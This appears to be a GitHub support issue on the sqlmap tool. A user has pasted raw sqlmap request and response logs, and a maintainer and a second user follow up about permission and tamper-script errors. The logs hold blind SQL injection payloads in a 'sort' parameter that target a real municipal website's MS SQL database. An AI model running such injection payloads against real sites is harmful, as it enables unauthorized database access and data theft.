http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28SELECT%20%28CASE%20WHEN%20%28UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28%2A%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20msdb.dbo.sysoperators%29%2C1%2C1%29%29%3E51%29%20THEN%20%28SELECT%20COUNT%28%2A%29%20FROM%20sysusers%20AS%20sys1%2Csysusers%20AS%20sys2%2Csysusers%20AS%20sys3%2Csysusers%20AS%20sys4%2Csysusers%20AS%20sys5%2Csysusers%20AS%20sys6%2Csysusers%20AS%20sys7%29%20ELSE%205859%20END%29%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:06 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e09'
SELECT permission denied on object 'sysoperators', database 'msdb', owner 'dbo'.
/mmkv.asp, line 275 ############################################################################ HTTP request [#18]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28SELECT%20%28CASE%20WHEN%20%28UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28%2A%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20msdb.dbo.sysoperators%29%2C1%2C1%29%29%3E48%29%20THEN%20%28SELECT%20COUNT%28%2A%29%20FROM%20sysusers%20AS%20sys1%2Csysusers%20AS%20sys2%2Csysusers%20AS%20sys3%2Csysusers%20AS%20sys4%2Csysusers%20AS%20sys5%2Csysusers%20AS%20sys6%2Csysusers%20AS%20sys7%29%20ELSE%205859%20END%29%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#18](500 Internal Server Error): Content-length: 7499 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28SELECT%20%28CASE%20WHEN%20%28UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28%2A%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20msdb.dbo.sysoperators%29%2C1%2C1%29%29%3E48%29%20THEN%20%28SELECT%20COUNT%28%2A%29%20FROM%20sysusers%20AS%20sys1%2Csysusers%20AS%20sys2%2Csysusers%20AS%20sys3%2Csysusers%20AS%20sys4%2Csysusers%20AS%20sys5%2Csysusers%20AS%20sys6%2Csysusers%20AS%20sys7%29%20ELSE%205859%20END%29%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:06 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e09'
SELECT permission denied on object 'sysoperators', database 'msdb', owner 'dbo'.
/mmkv.asp, line 275 ############################################################################ HTTP request [#19]: GET /index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28SELECT%20%28CASE%20WHEN%20%28UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28%2A%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20msdb.dbo.sysoperators%29%2C1%2C1%29%29%3E1%29%20THEN%20%28SELECT%20COUNT%28%2A%29%20FROM%20sysusers%20AS%20sys1%2Csysusers%20AS%20sys2%2Csysusers%20AS%20sys3%2Csysusers%20AS%20sys4%2Csysusers%20AS%20sys5%2Csysusers%20AS%20sys6%2Csysusers%20AS%20sys7%29%20ELSE%205859%20END%29%29&vyhledat=vyhledat HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/_;q=0.8 User-agent: sqlmap/1.0-dev-1088011 (http://sqlmap.org) Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: mmkv.cz Pragma: no-cache Cache-control: no-cache,no-store Cookie: ASPSESSIONIDCAQRSARQ=EDJKPCMBIGGBKKDFGEFEENCN Connection: close HTTP response [#19](500 Internal Server Error): Content-length: 7499 X-powered-by: ASP.NET Uri: http://mmkv.cz:80/index.asp?cenaDo=&cenaOd=&datumDo=&datumOd=&menu=398&rec_category_fk=&rec_code2=-1&rec_name=&rec_number1=&rec_odbor_fk=&sort=%28SELECT%20%28CASE%20WHEN%20%28UNICODE%28SUBSTRING%28%28SELECT%20ISNULL%28CAST%28LTRIM%28STR%28COUNT%28%2A%29%29%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20msdb.dbo.sysoperators%29%2C1%2C1%29%29%3E1%29%20THEN%20%28SELECT%20COUNT%28%2A%29%20FROM%20sysusers%20AS%20sys1%2Csysusers%20AS%20sys2%2Csysusers%20AS%20sys3%2Csysusers%20AS%20sys4%2Csysusers%20AS%20sys5%2Csysusers%20AS%20sys6%2Csysusers%20AS%20sys7%29%20ELSE%205859%20END%29%29&vyhledat=vyhledat Server: Microsoft-IIS/6.0 Connection: close Cache-control: private Date: Fri, 09 Aug 2013 08:27:06 Content-type: text/html

Investiční plány města rok 2013 (.xls 18kB)
Plán oprav místních komunikací 2013 (.xls 78kB)
Microsoft OLE DB Provider for SQL Server
chyba 80040e09'
SELECT permission denied on object 'sysoperators', database 'msdb', owner 'dbo'.
/_mmkv.asp, line 275 ############################################################################

@stamparm
Copy link
Member

stamparm commented Aug 9, 2013 

SELECT permission denied on object 'sysoperators', database 'msdb', owner 'dbo'.

@stamparm stamparm closed this as completed Aug 9, 2013
@alfianwi97
Copy link

how if the error is like this:
[WARNING] parsed DBMS error message: 'mysql_fetch_array(): supplied argument is not a valid MySQL result resource in path/somepath/path/file.php on line 3

does it because i use tamper? i used space2morehash.py anyway

@stamparm
Copy link
Member

stamparm commented May 3, 2017

@alfianwi97 that is a generic error message when MySQL fails to retrieve the data (e.g. because of errors in SQL or similar). It could be caused by tamper script or generally because of non-existence of SQL injection in the first place

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@stamparm stamparm

Labels
support
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
3 participants
@stamparm @dedust @alfianwi97